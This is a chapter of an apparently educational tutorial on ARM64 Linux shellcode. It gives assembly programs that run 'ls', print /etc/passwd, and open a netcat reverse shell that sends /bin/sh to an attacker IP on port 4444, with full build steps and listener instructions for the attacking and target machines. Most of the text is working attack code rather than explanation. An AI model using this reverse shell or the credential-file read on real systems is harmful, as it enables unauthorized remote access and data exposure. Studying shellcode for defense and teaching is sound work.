Chapter 5:Introduction to Shellcode

What is Shellcode?

Shellcode is a small piece of machine code used as the payload in the exploitation of software vulnerabilities. The name "shellcode" comes from its common purpose, which is to spawn a shell (a command-line interface).

Common Uses of Shellcode

  • Exploiting vulnerabilities in software to gain unauthorized access.

  • Demonstrating security flaws in software for educational purposes.

Basic ARM64 Shellcode: Executing a Command

Let's start with a simple shellcode that executes the "ls" command:

.global _start
.section .text
_start:
    // execve("/bin/ls", ["/bin/ls", NULL], NULL)
    adr x0, filename   // Load address of "/bin/ls"
    mov x1, sp         // Use stack for argv
    str x0, [x1]       // Store "/bin/ls" as first arg
    mov x2, #0         // NULL terminate argv
    str x2, [x1, #8]   // Store NULL after "/bin/ls"
    mov x2, #0         // No environment variables
    mov x8, #221       // execve syscall number
    svc #0

filename:
    .asciz "/bin/ls"

Compiling and Running the Basic Shellcode

  1. Save the shellcode in a file named ls_shellcode.s

  2. Assemble: as ls_shellcode.s -o ls_shellcode.o

  3. Link: ld ls_shellcode.o -o ls_shellcode

  4. Make executable: chmod +x ls_shellcode

  5. Run: ./ls_shellcode

Understanding the Basic Shellcode

  • The shellcode uses the execve system call to execute "/bin/ls".

  • It sets up the arguments on the stack.

  • System call number (221 for execve) is placed in x8.

  • The svc #0 instruction triggers the system call.

Simple shellcode that executes "cat /etc/passwd":

.global _start
.section .text
_start:
    // execve("/bin/cat", {"/bin/cat", "/etc/passwd", NULL}, NULL)
    adr x0, filename   // Load address of "/bin/cat"
    mov x1, sp         // Use stack for argv
    str x0, [x1]       // Store "/bin/cat" as first arg
    adr x2, passwd     // Load address of "/etc/passwd"
    str x2, [x1, #8]   // Store "/etc/passwd" as second arg
    mov x2, #0
    str x2, [x1, #16]  // NULL terminate argv
    mov x2, #0         // No environment variables
    mov x8, #221       // execve syscall number
    svc #0

    // Exit (in case execve fails)
    mov x8, #93
    mov x0, #0
    svc #0

filename:
    .asciz "/bin/cat"
passwd:
    .asciz "/etc/passwd"

Let's compile and run this:

  1. Save this code in a file named cat_passwd.s

  2. Assemble the code:

    as -o cat_passwd.o cat_passwd.s
  3. Link the object file:

    ld -o cat_passwd cat_passwd.o
  4. Make it executable:

    chmod +x cat_passwd
  5. Run the shellcode:

    ./cat_passwd

This shellcode should execute successfully and display the contents of /etc/passwd.

nc reverse shell shellcode:

.global _start
.section .text
_start:
    // execve("/bin/nc", {"/bin/nc", "-e", "/bin/sh", "192.168.142.131", "4444", NULL}, NULL)
    adr x0, nc_path    // Load address of "/bin/nc"
    mov x1, sp         // Use stack for argv
    str x0, [x1]       // Store "/bin/nc" as first arg
    adr x2, e_flag
    str x2, [x1, #8]   // Store "-e" as second arg
    adr x2, shell_path
    str x2, [x1, #16]  // Store "/bin/sh" as third arg
    adr x2, ip_addr
    str x2, [x1, #24]  // Store IP address as fourth arg
    adr x2, port
    str x2, [x1, #32]  // Store port as fifth arg
    mov x2, #0
    str x2, [x1, #40]  // NULL terminate argv
    mov x2, #0         // No environment variables
    mov x8, #221       // execve syscall number
    svc #0

    // Exit (in case execve fails)
    mov x8, #93
    mov x0, #0
    svc #0

nc_path:
    .asciz "/bin/nc"
e_flag:
    .asciz "-e"
shell_path:
    .asciz "/bin/sh"
ip_addr:
    .asciz "192.168.142.131"
port:
    .asciz "4444"

Detailed Explanation:

  1. .global _start and .section .text: These directives tell the assembler where our code begins and that it should be placed in the text section of the executable.

  2. adr x0, nc_path: Loads the address of the "/bin/nc" string into x0. This will be the program we execute.

  3. mov x1, sp: We'll use the stack to store our array of arguments. This moves the current stack pointer into x1.

  4. str x0, [x1]: Stores the address of "/bin/nc" as the first argument in our array.

  5. The next few adr and str instructions load the addresses of our other arguments ("-e", "/bin/sh", IP, port) and store them in the array.

  6. mov x2, #0 and str x2, [x1, #40]: This NULL-terminates our argument array.

  7. mov x8, #221: Loads the syscall number for execve into x8.

  8. svc #0: Triggers the syscall, executing netcat with our arguments.

  9. The last part is an exit syscall in case execve fails.

  10. The .asciz directives at the end define our string constants.

Step-by-step Instructions:

  1. Save the code in a file named nc_reverse_shell.s

  2. Assemble the code:

    as -o nc_reverse_shell.o nc_reverse_shell.s

    This creates an object file from our assembly code.

  3. Link the object file:

    ld -o nc_reverse_shell nc_reverse_shell.o

    This creates an executable from our object file.

  4. Make the file executable:

    chmod +x nc_reverse_shell
  5. On your attacking machine (192.168.142.131), start a listener:

    nc -lvp 4444

    This listens for incoming connections on port 4444.

  6. On the target machine, run the shellcode:

    ./nc_reverse_shell

This approach uses netcat directly, which is often available on Unix-like systems. It's simpler than creating a raw socket connection and should be more reliable. However, it does require netcat to be installed on the target system.

Last updated